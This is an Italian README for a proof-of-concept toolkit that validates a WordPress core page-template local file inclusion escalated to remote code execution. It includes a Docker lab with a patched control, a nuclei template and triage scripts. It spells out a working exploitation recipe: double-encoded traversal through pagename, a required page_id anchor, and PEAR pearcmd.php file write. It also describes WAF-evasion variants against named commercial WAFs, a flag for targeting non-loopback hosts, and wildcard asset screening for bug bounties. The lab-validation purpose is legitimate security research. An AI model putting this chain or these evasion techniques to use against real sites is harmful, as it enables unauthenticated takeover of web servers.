WordPress Core <= 7.1.1 LFI non autenticato verso RCE - laboratorio di validazione, PoC, template nuclei (GHSA-7hp8-65ch-5whp)
Materiale di ricerca sulla sicurezza per riprodurre e validare CVE-2026-87902 (GHSA-7hp8-65ch-5whp) in un lab Docker isolato, solo loopback: un local file inclusion non autenticato nella risoluzione dei page-template del core di WordPress, scalabile a remote code execution.
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)Stato: dimostrato nel lab fornito.
WordPress 7.1.1 (tema Twenty Twelve) consente a un attaccante non autenticato di
includere file PHP al di fuori della directory del tema tramite la variabile di query
pagename, e - con il valore predefinito register_argc_argv = On dell'immagine PHP
ufficiale - di scrivere ed eseguire un file marker tramite PEAR pearcmd.php:
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
WordPress 7.1.2 con la stessa configurazione blocca completamente l'oracolo (controllo negativo). Questo dimostra l'esecuzione di codice come utente del web server WordPress all'interno del container. Non dimostra accesso root, container escape, movimento laterale o compromissione dell'host.
Requisiti: Docker con Compose v2, Python 3.10+, accesso di rete a Docker Hub e wordpress.org (installazione del tema).
./lab verify
Questo costruisce il lab vulnerabile, richiede che l'oracolo LFI e il marker RCE scattino, poi costruisce il lab patchato e richiede che l'oracolo rimanga silenzioso.
Per usare un'altra porta loopback: LAB_PORT=9499 ./lab verify.
Rimuovi tutto successivamente con ./lab reset.
Controllo vulnerabile:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
Controllo patchato:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
Un HTTP 200, un blocco WAF o un traversal parziale senza il marker dell'oracolo non è accettato come prova.
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
Esegui gli strumenti manualmente contro il lab in esecuzione:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
Per sistemi di tua proprietà o per cui sei esplicitamente autorizzato a testare (ambito bug-bounty, incarico scritto), i driver richiedono l'override esplicito:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
get_page_template() in wp-includes/template.php costruisce un nome di file template candidato
dalla variabile di query pagename. Il ramo adiacente tre righe
sopra passa lo slug del page-template attraverso validate_file(); il ramo pagename
non lo faceva mai, e inoltre aggiunge un ulteriore candidato decodificato con urldecode():
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 applica validate_file() al candidato decodificato e aggiunge un
gate di contenimento (_wp_is_template_path_allowed()) che ogni percorso template risolto
deve superare.
locate_template() controlla entrambi)
include una directory di primo livello che inizia con page-. I temi predefiniti legacy
(Twenty Twelve, Twenty Fourteen) e diversi temi wp.org (Neve, Hestia,
Sydney) sono idonei. I temi commerciali analizzati (Divi, Avada, Flatsome,
Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto, Houzez, XStore,
Kalium, Uncode) non ne includono nessuna - il traversal non può risolversi; vedi
PRO_THEME_PAGE_DIRS nel PoC per la lista basata su mirror..php (aggiunto dal codice).register_argc_argv = On e pearcmd.php di PEAR.L'advisory e il writeup di Patchstack evitano di pubblicare una richiesta funzionante. Questi dettagli sono stati stabiliti empiricamente in questo lab:
page_id è obbligatorio. Un pagename non risolto attiva
is_404, il cui template oscura completamente get_page_template(). Ancora la
query con qualsiasi page_id pubblicato e risolvibile.get_posts() riscrive pagename
tramite sanitize_title_for_query( wp_basename( … ) ): il .. grezzo diventa
-, ma le sequenze %hex sopravvivono; l'urldecode() extra in
get_page_template() rivela il traversal. Funziona solo %252e/%252f.redirect_canonical fa 301 su GET e scarta
il payload; ritorna immediatamente per non-GET/HEAD).../ da page-templates/ su un docroot standard.$_POST nelle query
vars) - la base dei livelli di evasione WAF.$argv, e
il serializer di configurazione di PEAR fa escape di entrambi gli stili di quote - da qui la probe
grezza, senza quote, separata da +.| Path | Purpose |
|---|---|
poc/poc_cve_2026_87902.py | PoC completo: fingerprint versione + WAF, enumerazione tema/cartella page-* (wp.org SVN, scoperta asset-reference, mappa pro-theme analizzata), scoperta anchor, oracolo LFI a 8 varianti, oracolo fallback comparativo a corpo vuoto, catena pearcmd --rce, demo docker --lab |
poc/triage_cve_2026_87902.py | Verdetto per-target o batch con il gate fallito nominato (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | Elabora una lista di asset bug-bounty in-scope: espansione wildcard crt.sh → filtro WP → screen precondizioni → handoff candidati |
nuclei/cve-2026-87902.yaml | Template Nuclei: oracolo LFI sicuro (174 payload: 10 remainder page-*, livelli doppio/triplo codificati, id 1–30) |
Il fingerprinting WAF copre Imperva/Incapsula, Cloudflare, Akamai, AWS
CloudFront/WAF, Sucuri, F5. Otto varianti di oracolo: doppio codificato, spelling alternativo
%25%32%65, parameter pollution, triplo codificato - ciascuna in query
string e body POST. I body multipart e i payload con slash grezzo sono stati testati e
rifiutati (WP non li processa per questo sink).